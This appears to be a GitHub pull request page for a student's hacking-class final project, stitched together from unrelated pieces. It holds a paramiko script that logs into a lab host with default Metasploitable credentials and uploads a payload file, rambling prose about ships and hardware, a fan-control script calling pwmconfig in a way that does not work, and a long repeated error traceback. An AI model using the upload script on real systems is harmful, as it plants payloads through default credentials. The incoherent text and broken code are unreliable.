-
Notifications
You must be signed in to change notification settings - Fork 12
New issue
Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.
By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.
Already on GitHub? Sign in to your account
Kerbal Space Program but for Trust and Saftey #4
Open
Jimmy-Jimmy-Jimmy
wants to merge
20
commits into
lawfareblog:main
Choose a base branch
from
Jimmy-Jimmy-Jimmy:main
base: main
Could not load branches
Branch not found: {{ refName }}
Loading
Could not load tags
Nothing to show
Loading
Are you sure you want to change the base?
Some commits from the old base branch may be removed from the timeline,
and old review comments may become outdated.
Conversation
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
python GUI buttons
# # # CODE * * * import paramiko def transfer_file(filename, host, username, password): ssh = paramiko.SSHClient() ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy()) ssh.connect(hostname=host, username=username, password=password) sftp = ssh.open_sftp() sftp.put(filename, '/home/msfadmin/payload.py') sftp.close() ssh.close() filename = '/home/kali/Attackem/payload.py' host = '10.0.0.79' username = 'msfadmin' password = 'msfadmin' transfer_file(filename, host, username, password)
Mind of a Hacker Loophole Loop Hole
fan1_input: No such file
Just like how a ship in the days of sail could be blown off course by unpredictable weather conditions, a student's final project for a computer class could be delayed or impacted by factors such as power outages, software crashes, or other unexpected events. I also wanted to discuss the Originalist's case for mystery in computer hardware, which can contribute to the unpredictability of technology and make it difficult for students to complete their projects on time.
import os import subprocess # The path to the pwmconfig utility PWM_CONFIG = '/usr/sbin/pwmconfig' # Set the fan speed to a given percentage def set_fan_speed(percentage): # Convert the percentage to a value between 0 and 255 value = int(255 * (percentage / 100)) # Use the pwmconfig utility to set the fan speed result = subprocess.run([PWM_CONFIG, '--set', str(value)], stdout=subprocess.PIPE, stderr=subprocess.PIPE) # Check the result of the pwmconfig command if result.returncode != 0: print("Error: Failed to set fan speed") print("Stdout:", result.stdout.decode()) print("Stderr:", result.stderr.decode()) else: print("Success: Set fan speed to", percentage, "%") # Example usage: set the fan speed to 50% set_fan_speed(50)
(kali㉿kali)-[~/Desktop] └─$ python tinkerEM.py Exception in Tkinter callback Traceback (most recent call last): File "/usr/lib/python3.10/tkinter/__init__.py", line 1921, in __call__ return self.func(*args) File "/home/kali/Desktop/tinkerEM.py", line 8, in on_scale_change set_fan_speed(value) File "/home/kali/Desktop/tinkerEM.py", line 5, in set_fan_speed result = subprocess.run(["/usr/sbin/pwmconfig", "--set", str(value)], stdout=subprocess.PIPE, stderr=subprocess.PIPE) File "/usr/lib/python3.10/subprocess.py", line 501, in run with Popen(*popenargs, **kwargs) as process: File "/usr/lib/python3.10/subprocess.py", line 969, in __init__ self._execute_child(args, executable, preexec_fn, close_fds, File "/usr/lib/python3.10/subprocess.py", line 1845, in _execute_child raise child_exception_type(errno_num, err_msg, err_filename) FileNotFoundError: [Errno 2] No such file or directory: '/usr/sbin/pwmconfig' Exception in Tkinter callback Traceback (most recent call last): File "/usr/lib/python3.10/tkinter/__init__.py", line 1921, in __call__ return self.func(*args) File "/home/kali/Desktop/tinkerEM.py", line 8, in on_scale_change set_fan_speed(value) File "/home/kali/Desktop/tinkerEM.py", line 5, in set_fan_speed result = subprocess.run(["/usr/sbin/pwmconfig", "--set", str(value)], stdout=subprocess.PIPE, stderr=subprocess.PIPE) File "/usr/lib/python3.10/subprocess.py", line 501, in run with Popen(*popenargs, **kwargs) as process: File "/usr/lib/python3.10/subprocess.py", line 969, in __init__ self._execute_child(args, executable, preexec_fn, close_fds, File "/usr/lib/python3.10/subprocess.py", line 1845, in _execute_child raise child_exception_type(errno_num, err_msg, err_filename) FileNotFoundError: [Errno 2] No such file or directory: '/usr/sbin/pwmconfig' Exception in Tkinter callback Traceback (most recent call last): File "/usr/lib/python3.10/tkinter/__init__.py", line 1921, in __call__ return self.func(*args) File "/home/kali/Desktop/tinkerEM.py", line 8, in on_scale_change set_fan_speed(value) File "/home/kali/Desktop/tinkerEM.py", line 5, in set_fan_speed result = subprocess.run(["/usr/sbin/pwmconfig", "--set", str(value)], stdout=subprocess.PIPE, stderr=subprocess.PIPE) File "/usr/lib/python3.10/subprocess.py", line 501, in run with Popen(*popenargs, **kwargs) as process: File "/usr/lib/python3.10/subprocess.py", line 969, in __init__ self._execute_child(args, executable, preexec_fn, close_fds, File "/usr/lib/python3.10/subprocess.py", line 1845, in _execute_child raise child_exception_type(errno_num, err_msg, err_filename) FileNotFoundError: [Errno 2] No such file or directory: '/usr/sbin/pwmconfig' Exception in Tkinter callback Traceback (most recent call last): File "/usr/lib/python3.10/tkinter/__init__.py", line 1921, in __call__ return self.func(*args) File "/home/kali/Desktop/tinkerEM.py", line 8, in on_scale_change set_fan_speed(value) File "/home/kali/Desktop/tinkerEM.py", line 5, in set_fan_speed result = subprocess.run(["/usr/sbin/pwmconfig", "--set", str(value)], stdout=subprocess.PIPE, stderr=subprocess.PIPE) File "/usr/lib/python3.10/subprocess.py", line 501, in run with Popen(*popenargs, **kwargs) as process: File "/usr/lib/python3.10/subprocess.py", line 969, in __init__ self._execute_child(args, executable, preexec_fn, close_fds, File "/usr/lib/python3.10/subprocess.py", line 1845, in _execute_child raise child_exception_type(errno_num, err_msg, err_filename) FileNotFoundError: [Errno 2] No such file or directory: '/usr/sbin/pwmconfig' Exception in Tkinter callback Traceback (most recent call last): File "/usr/lib/python3.10/tkinter/__init__.py", line 1921, in __call__ return self.func(*args) File "/home/kali/Desktop/tinkerEM.py", line 8, in on_scale_change set_fan_speed(value) File "/home/kali/Desktop/tinkerEM.py", line 5, in set_fan_speed result = subprocess.run(["/usr/sbin/pwmconfig", "--set", str(value)], stdout=subprocess.PIPE, stderr=subprocess.PIPE) File "/usr/lib/python3.10/subprocess.py", line 501, in run with Popen(*popenargs, **kwargs) as process: File "/usr/lib/python3.10/subprocess.py", line 969, in __init__ self._execute_child(args, executable, preexec_fn, close_fds, File "/usr/lib/python3.10/subprocess.py", line 1845, in _execute_child raise child_exception_type(errno_num, err_msg, err_filename) FileNotFoundError: [Errno 2] No such file or directory: '/usr/sbin/pwmconfig' Exception in Tkinter callback Traceback (most recent call last): File "/usr/lib/python3.10/tkinter/__init__.py", line 1921, in __call__ return self.func(*args) File "/home/kali/Desktop/tinkerEM.py", line 8, in on_scale_change set_fan_speed(value) File "/home/kali/Desktop/tinkerEM.py", line 5, in set_fan_speed result = subprocess.run(["/usr/sbin/pwmconfig", "--set", str(value)], stdout=subprocess.PIPE, stderr=subprocess.PIPE) File "/usr/lib/python3.10/subprocess.py", line 501, in run with Popen(*popenargs, **kwargs) as process: File "/usr/lib/python3.10/subprocess.py", line 969, in __init__ self._execute_child(args, executable, preexec_fn, close_fds, File "/usr/lib/python3.10/subprocess.py", line 1845, in _execute_child raise child_exception_type(errno_num, err_msg, err_filename) FileNotFoundError: [Errno 2] No such file or directory: '/usr/sbin/pwmconfig' Exception in Tkinter callback Traceback (most recent call last): File "/usr/lib/python3.10/tkinter/__init__.py", line 1921, in __call__ return self.func(*args) File "/home/kali/Desktop/tinkerEM.py", line 8, in on_scale_change set_fan_speed(value) File "/home/kali/Desktop/tinkerEM.py", line 5, in set_fan_speed result = subprocess.run(["/usr/sbin/pwmconfig", "--set", str(value)], stdout=subprocess.PIPE, stderr=subprocess.PIPE) File "/usr/lib/python3.10/subprocess.py", line 501, in run with Popen(*popenargs, **kwargs) as process: File "/usr/lib/python3.10/subprocess.py", line 969, in __init__ self._execute_child(args, executable, preexec_fn, close_fds, File "/usr/lib/python3.10/subprocess.py", line 1845, in _execute_child raise child_exception_type(errno_num, err_msg, err_filename) FileNotFoundError: [Errno 2] No such file or directory: '/usr/sbin/pwmconfig' Exception in Tkinter callback Traceback (most recent call last): File "/usr/lib/python3.10/tkinter/__init__.py", line 1921, in __call__ return self.func(*args) File "/home/kali/Desktop/tinkerEM.py", line 8, in on_scale_change set_fan_speed(value) File "/home/kali/Desktop/tinkerEM.py", line 5, in set_fan_speed result = subprocess.run(["/usr/sbin/pwmconfig", "--set", str(value)], stdout=subprocess.PIPE, stderr=subprocess.PIPE) File "/usr/lib/python3.10/subprocess.py", line 501, in run with Popen(*popenargs, **kwargs) as process: File "/usr/lib/python3.10/subprocess.py", line 969, in __init__ self._execute_child(args, executable, preexec_fn, close_fds, File "/usr/lib/python3.10/subprocess.py", line 1845, in _execute_child raise child_exception_type(errno_num, err_msg, err_filename) FileNotFoundError: [Errno 2] No such file or directory: '/usr/sbin/pwmconfig' Exception in Tkinter callback Traceback (most recent call last): File "/usr/lib/python3.10/tkinter/__init__.py", line 1921, in __call__ return self.func(*args) File "/home/kali/Desktop/tinkerEM.py", line 8, in on_scale_change set_fan_speed(value) File "/home/kali/Desktop/tinkerEM.py", line 5, in set_fan_speed result = subprocess.run(["/usr/sbin/pwmconfig", "--set", str(value)], stdout=subprocess.PIPE, stderr=subprocess.PIPE) File "/usr/lib/python3.10/subprocess.py", line 501, in run with Popen(*popenargs, **kwargs) as process: File "/usr/lib/python3.10/subprocess.py", line 969, in __init__ self._execute_child(args, executable, preexec_fn, close_fds, File "/usr/lib/python3.10/subprocess.py", line 1845, in _execute_child raise child_exception_type(errno_num, err_msg, err_filename) FileNotFoundError: [Errno 2] No such file or directory: '/usr/sbin/pwmconfig' Exception in Tkinter callback Traceback (most recent call last): File "/usr/lib/python3.10/tkinter/__init__.py", line 1921, in __call__ return self.func(*args) File "/home/kali/Desktop/tinkerEM.py", line 8, in on_scale_change set_fan_speed(value) File "/home/kali/Desktop/tinkerEM.py", line 5, in set_fan_speed result = subprocess.run(["/usr/sbin/pwmconfig", "--set", str(value)], stdout=subprocess.PIPE, stderr=subprocess.PIPE) File "/usr/lib/python3.10/subprocess.py", line 501, in run with Popen(*popenargs, **kwargs) as process: File "/usr/lib/python3.10/subprocess.py", line 969, in __init__ self._execute_child(args, executable, preexec_fn, close_fds, File "/usr/lib/python3.10/subprocess.py", line 1845, in _execute_child raise child_exception_type(errno_num, err_msg, err_filename) FileNotFoundError: [Errno 2] No such file or directory: '/usr/sbin/pwmconfig' Exception in Tkinter callback Traceback (most recent call last): File "/usr/lib/python3.10/tkinter/__init__.py", line 1921, in __call__ return self.func(*args) File "/home/kali/Desktop/tinkerEM.py", line 8, in on_scale_change set_fan_speed(value) File "/home/kali/Desktop/tinkerEM.py", line 5, in set_fan_speed result = subprocess.run(["/usr/sbin/pwmconfig", "--set", str(value)], stdout=subprocess.PIPE, stderr=subprocess.PIPE) File "/usr/lib/python3.10/subprocess.py", line 501, in run with Popen(*popenargs, **kwargs) as process: File "/usr/lib/python3.10/subprocess.py", line 969, in __init__ self._execute_child(args, executable, preexec_fn, close_fds, File "/usr/lib/python3.10/subprocess.py", line 1845, in _execute_child raise child_exception_type(errno_num, err_msg, err_filename) FileNotFoundError: [Errno 2] No such file or directory: '/usr/sbin/pwmconfig' Exception in Tkinter callback Traceback (most recent call last): File "/usr/lib/python3.10/tkinter/__init__.py", line 1921, in __call__ return self.func(*args) File "/home/kali/Desktop/tinkerEM.py", line 8, in on_scale_change set_fan_speed(value) File "/home/kali/Desktop/tinkerEM.py", line 5, in set_fan_speed result = subprocess.run(["/usr/sbin/pwmconfig", "--set", str(value)], stdout=subprocess.PIPE, stderr=subprocess.PIPE) File "/usr/lib/python3.10/subprocess.py", line 501, in run with Popen(*popenargs, **kwargs) as process: File "/usr/lib/python3.10/subprocess.py", line 969, in __init__ self._execute_child(args, executable, preexec_fn, close_fds, File "/usr/lib/python3.10/subprocess.py", line 1845, in _execute_child raise child_exception_type(errno_num, err_msg, err_filename) FileNotFoundError: [Errno 2] No such file or directory: '/usr/sbin/pwmconfig' Exception in Tkinter callback Traceback (most recent call last): File "/usr/lib/python3.10/tkinter/__init__.py", line 1921, in __call__ return self.func(*args) File "/home/kali/Desktop/tinkerEM.py", line 8, in on_scale_change set_fan_speed(value) File "/home/kali/Desktop/tinkerEM.py", line 5, in set_fan_speed result = subprocess.run(["/usr/sbin/pwmconfig", "--set", str(value)], stdout=subprocess.PIPE, stderr=subprocess.PIPE) File "/usr/lib/python3.10/subprocess.py", line 501, in run with Popen(*popenargs, **kwargs) as process: File "/usr/lib/python3.10/subprocess.py", line 969, in __init__ self._execute_child(args, executable, preexec_fn, close_fds, File "/usr/lib/python3.10/subprocess.py", line 1845, in _execute_child raise child_exception_type(errno_num, err_msg, err_filename) FileNotFoundError: [Errno 2] No such file or directory: '/usr/sbin/pwmconfig' Exception in Tkinter callback Traceback (most recent call last): File "/usr/lib/python3.10/tkinter/__init__.py", line 1921, in __call__ return self.func(*args) File "/home/kali/Desktop/tinkerEM.py", line 8, in on_scale_change set_fan_speed(value) File "/home/kali/Desktop/tinkerEM.py", line 5, in set_fan_speed result = subprocess.run(["/usr/sbin/pwmconfig", "--set", str(value)], stdout=subprocess.PIPE, stderr=subprocess.PIPE) File "/usr/lib/python3.10/subprocess.py", line 501, in run with Popen(*popenargs, **kwargs) as process: File "/usr/lib/python3.10/subprocess.py", line 969, in __init__ self._execute_child(args, executable, preexec_fn, close_fds, File "/usr/lib/python3.10/subprocess.py", line 1845, in _execute_child raise child_exception_type(errno_num, err_msg, err_filename) FileNotFoundError: [Errno 2] No such file or directory: '/usr/sbin/pwmconfig' Exception in Tkinter callback Traceback (most recent call last): File "/usr/lib/python3.10/tkinter/__init__.py", line 1921, in __call__ return self.func(*args) File "/home/kali/Desktop/tinkerEM.py", line 8, in on_scale_change set_fan_speed(value) File "/home/kali/Desktop/tinkerEM.py", line 5, in set_fan_speed result = subprocess.run(["/usr/sbin/pwmconfig", "--set", str(value)], stdout=subprocess.PIPE, stderr=subprocess.PIPE) File "/usr/lib/python3.10/subprocess.py", line 501, in run with Popen(*popenargs, **kwargs) as process: File "/usr/lib/python3.10/subprocess.py", line 969, in __init__ self._execute_child(args, executable, preexec_fn, close_fds, File "/usr/lib/python3.10/subprocess.py", line 1845, in _execute_child raise child_exception_type(errno_num, err_msg, err_filename) FileNotFoundError: [Errno 2] No such file or directory: '/usr/sbin/pwmconfig' Exception in Tkinter callback Traceback (most recent call last): File "/usr/lib/python3.10/tkinter/__init__.py", line 1921, in __call__ return self.func(*args) File "/home/kali/Desktop/tinkerEM.py", line 8, in on_scale_change set_fan_speed(value) File "/home/kali/Desktop/tinkerEM.py", line 5, in set_fan_speed result = subprocess.run(["/usr/sbin/pwmconfig", "--set", str(value)], stdout=subprocess.PIPE, stderr=subprocess.PIPE) File "/usr/lib/python3.10/subprocess.py", line 501, in run with Popen(*popenargs, **kwargs) as process: File "/usr/lib/python3.10/subprocess.py", line 969, in __init__ self._execute_child(args, executable, preexec_fn, close_fds, File "/usr/lib/python3.10/subprocess.py", line 1845, in _execute_child raise child_exception_type(errno_num, err_msg, err_filename) FileNotFoundError: [Errno 2] No such file or directory: '/usr/sbin/pwmconfig' Exception in Tkinter callback Traceback (most recent call last): File "/usr/lib/python3.10/tkinter/__init__.py", line 1921, in __call__ return self.func(*args) File "/home/kali/Desktop/tinkerEM.py", line 8, in on_scale_change set_fan_speed(value) File "/home/kali/Desktop/tinkerEM.py", line 5, in set_fan_speed result = subprocess.run(["/usr/sbin/pwmconfig", "--set", str(value)], stdout=subprocess.PIPE, stderr=subprocess.PIPE) File "/usr/lib/python3.10/subprocess.py", line 501, in run with Popen(*popenargs, **kwargs) as process: File "/usr/lib/python3.10/subprocess.py", line 969, in __init__ self._execute_child(args, executable, preexec_fn, close_fds, File "/usr/lib/python3.10/subprocess.py", line 1845, in _execute_child raise child_exception_type(errno_num, err_msg, err_filename) FileNotFoundError: [Errno 2] No such file or directory: '/usr/sbin/pwmconfig' Exception in Tkinter callback Traceback (most recent call last): File "/usr/lib/python3.10/tkinter/__init__.py", line 1921, in __call__ return self.func(*args) File "/home/kali/Desktop/tinkerEM.py", line 8, in on_scale_change set_fan_speed(value) File "/home/kali/Desktop/tinkerEM.py", line 5, in set_fan_speed result = subprocess.run(["/usr/sbin/pwmconfig", "--set", str(value)], stdout=subprocess.PIPE, stderr=subprocess.PIPE) File "/usr/lib/python3.10/subprocess.py", line 501, in run with Popen(*popenargs, **kwargs) as process: File "/usr/lib/python3.10/subprocess.py", line 969, in __init__ self._execute_child(args, executable, preexec_fn, close_fds, File "/usr/lib/python3.10/subprocess.py", line 1845, in _execute_child raise child_exception_type(errno_num, err_msg, err_filename) FileNotFoundError: [Errno 2] No such file or directory: '/usr/sbin/pwmconfig' Exception in Tkinter callback Traceback (most recent call last): File "/usr/lib/python3.10/tkinter/__init__.py", line 1921, in __call__ return self.func(*args) File "/home/kali/Desktop/tinkerEM.py", line 8, in on_scale_change set_fan_speed(value) File "/home/kali/Desktop/tinkerEM.py", line 5, in set_fan_speed result = subprocess.run(["/usr/sbin/pwmconfig", "--set", str(value)], stdout=subprocess.PIPE, stderr=subprocess.PIPE) File "/usr/lib/python3.10/subprocess.py", line 501, in run with Popen(*popenargs, **kwargs) as process: File "/usr/lib/python3.10/subprocess.py", line 969, in __init__ self._execute_child(args, executable, preexec_fn, close_fds, File "/usr/lib/python3.10/subprocess.py", line 1845, in _execute_child raise child_exception_type(errno_num, err_msg, err_filename) FileNotFoundError: [Errno 2] No such file or directory: '/usr/sbin/pwmconfig' Exception in Tkinter callback Traceback (most recent call last): File "/usr/lib/python3.10/tkinter/__init__.py", line 1921, in __call__ return self.func(*args) File "/home/kali/Desktop/tinkerEM.py", line 8, in on_scale_change set_fan_speed(value) File "/home/kali/Desktop/tinkerEM.py", line 5, in set_fan_speed result = subprocess.run(["/usr/sbin/pwmconfig", "--set", str(value)], stdout=subprocess.PIPE, stderr=subprocess.PIPE) File "/usr/lib/python3.10/subprocess.py", line 501, in run with Popen(*popenargs, **kwargs) as process: File "/usr/lib/python3.10/subprocess.py", line 969, in __init__ self._execute_child(args, executable, preexec_fn, close_fds, File "/usr/lib/python3.10/subprocess.py", line 1845, in _execute_child raise child_exception_type(errno_num, err_msg, err_filename) FileNotFoundError: [Errno 2] No such file or directory: '/usr/sbin/pwmconfig' Exception in Tkinter callback Traceback (most recent call last): File "/usr/lib/python3.10/tkinter/__init__.py", line 1921, in __call__ return self.func(*args) File "/home/kali/Desktop/tinkerEM.py", line 8, in on_scale_change set_fan_speed(value) File "/home/kali/Desktop/tinkerEM.py", line 5, in set_fan_speed result = subprocess.run(["/usr/sbin/pwmconfig", "--set", str(value)], stdout=subprocess.PIPE, stderr=subprocess.PIPE) File "/usr/lib/python3.10/subprocess.py", line 501, in run with Popen(*popenargs, **kwargs) as process: File "/usr/lib/python3.10/subprocess.py", line 969, in __init__ self._execute_child(args, executable, preexec_fn, close_fds, File "/usr/lib/python3.10/subprocess.py", line 1845, in _execute_child raise child_exception_type(errno_num, err_msg, err_filename) FileNotFoundError: [Errno 2] No such file or directory: '/usr/sbin/pwmconfig' Exception in Tkinter callback Traceback (most recent call last): File "/usr/lib/python3.10/tkinter/__init__.py", line 1921, in __call__ return self.func(*args) File "/home/kali/Desktop/tinkerEM.py", line 8, in on_scale_change set_fan_speed(value) File "/home/kali/Desktop/tinkerEM.py", line 5, in set_fan_speed result = subprocess.run(["/usr/sbin/pwmconfig", "--set", str(value)], stdout=subprocess.PIPE, stderr=subprocess.PIPE) File "/usr/lib/python3.10/subprocess.py", line 501, in run with Popen(*popenargs, **kwargs) as process: File "/usr/lib/python3.10/subprocess.py", line 969, in __init__ self._execute_child(args, executable, preexec_fn, close_fds, File "/usr/lib/python3.10/subprocess.py", line 1845, in _execute_child raise child_exception_type(errno_num, err_msg, err_filename) FileNotFoundError: [Errno 2] No such file or directory: '/usr/sbin/pwmconfig' Exception in Tkinter callback Traceback (most recent call last): File "/usr/lib/python3.10/tkinter/__init__.py", line 1921, in __call__ return self.func(*args) File "/home/kali/Desktop/tinkerEM.py", line 8, in on_scale_change set_fan_speed(value) File "/home/kali/Desktop/tinkerEM.py", line 5, in set_fan_speed result = subprocess.run(["/usr/sbin/pwmconfig", "--set", str(value)], stdout=subprocess.PIPE, stderr=subprocess.PIPE) File "/usr/lib/python3.10/subprocess.py", line 501, in run with Popen(*popenargs, **kwargs) as process: File "/usr/lib/python3.10/subprocess.py", line 969, in __init__ self._execute_child(args, executable, preexec_fn, close_fds, File "/usr/lib/python3.10/subprocess.py", line 1845, in _execute_child raise child_exception_type(errno_num, err_msg, err_filename) FileNotFoundError: [Errno 2] No such file or directory: '/usr/sbin/pwmconfig' Exception in Tkinter callback Traceback (most recent call last): File "/usr/lib/python3.10/tkinter/__init__.py", line 1921, in __call__ return self.func(*args) File "/home/kali/Desktop/tinkerEM.py", line 8, in on_scale_change set_fan_speed(value) File "/home/kali/Desktop/tinkerEM.py", line 5, in set_fan_speed result = subprocess.run(["/usr/sbin/pwmconfig", "--set", str(value)], stdout=subprocess.PIPE, stderr=subprocess.PIPE) File "/usr/lib/python3.10/subprocess.py", line 501, in run with Popen(*popenargs, **kwargs) as process: File "/usr/lib/python3.10/subprocess.py", line 969, in __init__ self._execute_child(args, executable, preexec_fn, close_fds, File "/usr/lib/python3.10/subprocess.py", line 1845, in _execute_child raise child_exception_type(errno_num, err_msg, err_filename) FileNotFoundError: [Errno 2] No such file or directory: '/usr/sbin/pwmconfig' Exception in Tkinter callback Traceback (most recent call last): File "/usr/lib/python3.10/tkinter/__init__.py", line 1921, in __call__ return self.func(*args) File "/home/kali/Desktop/tinkerEM.py", line 8, in on_scale_change set_fan_speed(value) File "/home/kali/Desktop/tinkerEM.py", line 5, in set_fan_speed result = subprocess.run(["/usr/sbin/pwmconfig", "--set", str(value)], stdout=subprocess.PIPE, stderr=subprocess.PIPE) File "/usr/lib/python3.10/subprocess.py", line 501, in run with Popen(*popenargs, **kwargs) as process: File "/usr/lib/python3.10/subprocess.py", line 969, in __init__ self._execute_child(args, executable, preexec_fn, close_fds, File "/usr/lib/python3.10/subprocess.py", line 1845, in _execute_child raise child_exception_type(errno_num, err_msg, err_filename) FileNotFoundError: [Errno 2] No such file or directory: '/usr/sbin/pwmconfig' Exception in Tkinter callback Traceback (most recent call last): File "/usr/lib/python3.10/tkinter/__init__.py", line 1921, in __call__ return self.func(*args) File "/home/kali/Desktop/tinkerEM.py", line 8, in on_scale_change set_fan_speed(value) File "/home/kali/Desktop/tinkerEM.py", line 5, in set_fan_speed result = subprocess.run(["/usr/sbin/pwmconfig", "--set", str(value)], stdout=subprocess.PIPE, stderr=subprocess.PIPE) File "/usr/lib/python3.10/subprocess.py", line 501, in run with Popen(*popenargs, **kwargs) as process: File "/usr/lib/python3.10/subprocess.py", line 969, in __init__ self._execute_child(args, executable, preexec_fn, close_fds, File "/usr/lib/python3.10/subprocess.py", line 1845, in _execute_child raise child_exception_type(errno_num, err_msg, err_filename) FileNotFoundError: [Errno 2] No such file or directory: '/usr/sbin/pwmconfig' Exception in Tkinter callback Traceback (most recent call last): File "/usr/lib/python3.10/tkinter/__init__.py", line 1921, in __call__ return self.func(*args) File "/home/kali/Desktop/tinkerEM.py", line 8, in on_scale_change set_fan_speed(value) File "/home/kali/Desktop/tinkerEM.py", line 5, in set_fan_speed result = subprocess.run(["/usr/sbin/pwmconfig", "--set", str(value)], stdout=subprocess.PIPE, stderr=subprocess.PIPE) File "/usr/lib/python3.10/subprocess.py", line 501, in run with Popen(*popenargs, **kwargs) as process: File "/usr/lib/python3.10/subprocess.py", line 969, in __init__ self._execute_child(args, executable, preexec_fn, close_fds, File "/usr/lib/python3.10/subprocess.py", line 1845, in _execute_child raise child_exception_type(errno_num, err_msg, err_filename) FileNotFoundError: [Errno 2] No such file or directory: '/usr/sbin/pwmconfig' Exception in Tkinter callback Traceback (most recent call last): File "/usr/lib/python3.10/tkinter/__init__.py", line 1921, in __call__ return self.func(*args) File "/home/kali/Desktop/tinkerEM.py", line 8, in on_scale_change set_fan_speed(value) File "/home/kali/Desktop/tinkerEM.py", line 5, in set_fan_speed result = subprocess.run(["/usr/sbin/pwmconfig", "--set", str(value)], stdout=subprocess.PIPE, stderr=subprocess.PIPE) File "/usr/lib/python3.10/subprocess.py", line 501, in run with Popen(*popenargs, **kwargs) as process: File "/usr/lib/python3.10/subprocess.py", line 969, in __init__ self._execute_child(args, executable, preexec_fn, close_fds, File "/usr/lib/python3.10/subprocess.py", line 1845, in _execute_child raise child_exception_type(errno_num, err_msg, err_filename) FileNotFoundError: [Errno 2] No such file or directory: '/usr/sbin/pwmconfig' Exception in Tkinter callback Traceback (most recent call last): File "/usr/lib/python3.10/tkinter/__init__.py", line 1921, in __call__ return self.func(*args) File "/home/kali/Desktop/tinkerEM.py", line 8, in on_scale_change set_fan_speed(value) File "/home/kali/Desktop/tinkerEM.py", line 5, in set_fan_speed result = subprocess.run(["/usr/sbin/pwmconfig", "--set", str(value)], stdout=subprocess.PIPE, stderr=subprocess.PIPE) File "/usr/lib/python3.10/subprocess.py", line 501, in run with Popen(*popenargs, **kwargs) as process: File "/usr/lib/python3.10/subprocess.py", line 969, in __init__ self._execute_child(args, executable, preexec_fn, close_fds, File "/usr/lib/python3.10/subprocess.py", line 1845, in _execute_child raise child_exception_type(errno_num, err_msg, err_filename) FileNotFoundError: [Errno 2] No such file or directory: '/usr/sbin/pwmconfig' Exception in Tkinter callback Traceback (most recent call last): File "/usr/lib/python3.10/tkinter/__init__.py", line 1921, in __call__ return self.func(*args) File "/home/kali/Desktop/tinkerEM.py", line 8, in on_scale_change set_fan_speed(value) File "/home/kali/Desktop/tinkerEM.py", line 5, in set_fan_speed result = subprocess.run(["/usr/sbin/pwmconfig", "--set", str(value)], stdout=subprocess.PIPE, stderr=subprocess.PIPE) File "/usr/lib/python3.10/subprocess.py", line 501, in run with Popen(*popenargs, **kwargs) as process: File "/usr/lib/python3.10/subprocess.py", line 969, in __init__ self._execute_child(args, executable, preexec_fn, close_fds, File "/usr/lib/python3.10/subprocess.py", line 1845, in _execute_child raise child_exception_type(errno_num, err_msg, err_filename) FileNotFoundError: [Errno 2] No such file or directory: '/usr/sbin/pwmconfig' Exception in Tkinter callback Traceback (most recent call last): File "/usr/lib/python3.10/tkinter/__init__.py", line 1921, in __call__ return self.func(*args) File "/home/kali/Desktop/tinkerEM.py", line 8, in on_scale_change set_fan_speed(value) File "/home/kali/Desktop/tinkerEM.py", line 5, in set_fan_speed result = subprocess.run(["/usr/sbin/pwmconfig", "--set", str(value)], stdout=subprocess.PIPE, stderr=subprocess.PIPE) File "/usr/lib/python3.10/subprocess.py", line 501, in run with Popen(*popenargs, **kwargs) as process: File "/usr/lib/python3.10/subprocess.py", line 969, in __init__ self._execute_child(args, executable, preexec_fn, close_fds, File "/usr/lib/python3.10/subprocess.py", line 1845, in _execute_child raise child_exception_type(errno_num, err_msg, err_filename) FileNotFoundError: [Errno 2] No such file or directory: '/usr/sbin/pwmconfig' Exception in Tkinter callback Traceback (most recent call last): File "/usr/lib/python3.10/tkinter/__init__.py", line 1921, in __call__ return self.func(*args) File "/home/kali/Desktop/tinkerEM.py", line 8, in on_scale_change set_fan_speed(value) File "/home/kali/Desktop/tinkerEM.py", line 5, in set_fan_speed result = subprocess.run(["/usr/sbin/pwmconfig", "--set", str(value)], stdout=subprocess.PIPE, stderr=subprocess.PIPE) File "/usr/lib/python3.10/subprocess.py", line 501, in run with Popen(*popenargs, **kwargs) as process: File "/usr/lib/python3.10/subprocess.py", line 969, in __init__ self._execute_child(args, executable, preexec_fn, close_fds, File "/usr/lib/python3.10/subprocess.py", line 1845, in _execute_child raise child_exception_type(errno_num, err_msg, err_filename) FileNotFoundError: [Errno 2] No such file or directory: '/usr/sbin/pwmconfig'
import tkinter as tk import subprocess def set_fan_speed(value): result = subprocess.run(["/usr/sbin/pwmconfig", "--set", str(value)], stdout=subprocess.PIPE, stderr=subprocess.PIPE) def on_scale_change(value): set_fan_speed(value) root = tk.Tk() scale = tk.Scale(root, from_=0, to=100, orient=tk.HORIZONTAL, command=on_scale_change) scale.pack() root.mainloop()
This is my final project for lawfareblog/hacking-cybersecurity class.
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment
Add this suggestion to a batch that can be applied as a single commit.
This suggestion is invalid because no changes were made to the code.
Suggestions cannot be applied while the pull request is closed.
Suggestions cannot be applied while viewing a subset of changes.
Only one suggestion per line can be applied in a batch.
Add this suggestion to a batch that can be applied as a single commit.
Applying suggestions on deleted lines is not supported.
You must change the existing code in this line in order to create a valid suggestion.
Outdated suggestions cannot be applied.
This suggestion has been applied or marked resolved.
Suggestions cannot be applied from pending reviews.
Suggestions cannot be applied on multi-line comments.
Suggestions cannot be applied while the pull request is queued to merge.
Suggestion cannot be applied right now. Please check back later.
Kerbal Space Program but for testing Trust and Safety
!